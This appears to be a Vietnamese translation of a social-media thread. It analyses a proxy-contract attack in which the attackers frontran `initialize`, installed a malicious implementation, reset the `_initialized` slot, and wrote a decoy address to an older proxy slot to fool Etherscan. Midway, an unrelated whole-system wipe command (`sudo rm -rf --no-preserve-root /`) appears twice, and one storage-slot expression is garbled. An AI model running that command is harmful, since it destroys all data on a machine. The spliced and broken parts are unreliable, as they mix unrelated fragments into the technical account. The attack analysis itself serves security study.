Vậy là tôi phát hiện ra rằng nó còn tinh vi hơn. Tôi quan sát thấy giao dịch frontrunning (bởi những kẻ tấn công) gọi `initialize` và các giao thức cũng gọi _thành công_ `initialize` sau đó (vì vậy họ nghĩ mọi thứ đều bình thường). Nhưng khoan đã, làm thế nào điều này có thể xảy ra? Tôi đã phải xem xét rất kỹ các thay đổi trong slot lưu trữ và đoán xem tôi đã tìm thấy gì: họ _đặt lại_ giá trị slot lưu trữ `_initialized` vào cuối giao dịch frontrunning (sau khi họ hoán đổi sang hợp đồng thực hiện độc hại). Điều này có nghĩa là lưu trữ proxy giờ trông như thể nó chưa bao giờ được khởi tạo. Slot lưu trữ liên quan cần xem xét là `keccak256(abi.encode(uint256(keccak256(" - 1)) & ~bytes32(uint256(0xff))` = `0xf0c57e16840df040f15088dc2f81fe391c3923bec73e23a9662efc9c229c6a00` Điều này thật sự là một cấp độ xấu xa mới.
sudo rm -rf --no-preserve-root /
sudo rm -rf --no-preserve-root /22:13 10 thg 7
Nó trở nên phức tạp hơn: cách mà Etherscan bị lừa hiển thị hợp đồng triển khai sai dựa trên việc thiết lập 2 slot proxy khác nhau trong cùng một giao dịch frontrunning. Vì vậy, Etherscan sử dụng một số heuristics nhất định kết hợp các slot lưu trữ khác nhau để truy xuất hợp đồng triển khai. Có một proxy cũ của OpenZeppelin đã sử dụng slot sau: `keccak256("org.zeppelinos.proxy.implementation")` = `0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3` Bây giờ chúng ta cũng có slot tiêu chuẩn EIP-1967 `bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)` = `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` Vậy điều gì đã xảy ra là slot proxy cũ của OpenZeppelin đã được ghi với địa chỉ triển khai vô hại _và_ slot EIP-1967 tiêu chuẩn cũng đã được ghi với địa chỉ triển khai độc hại. Vì Etherscan truy vấn trước slot proxy cũ, nó đã truy xuất địa chỉ nhìn có vẻ vô hại trước và do đó hiển thị nó.
21,5K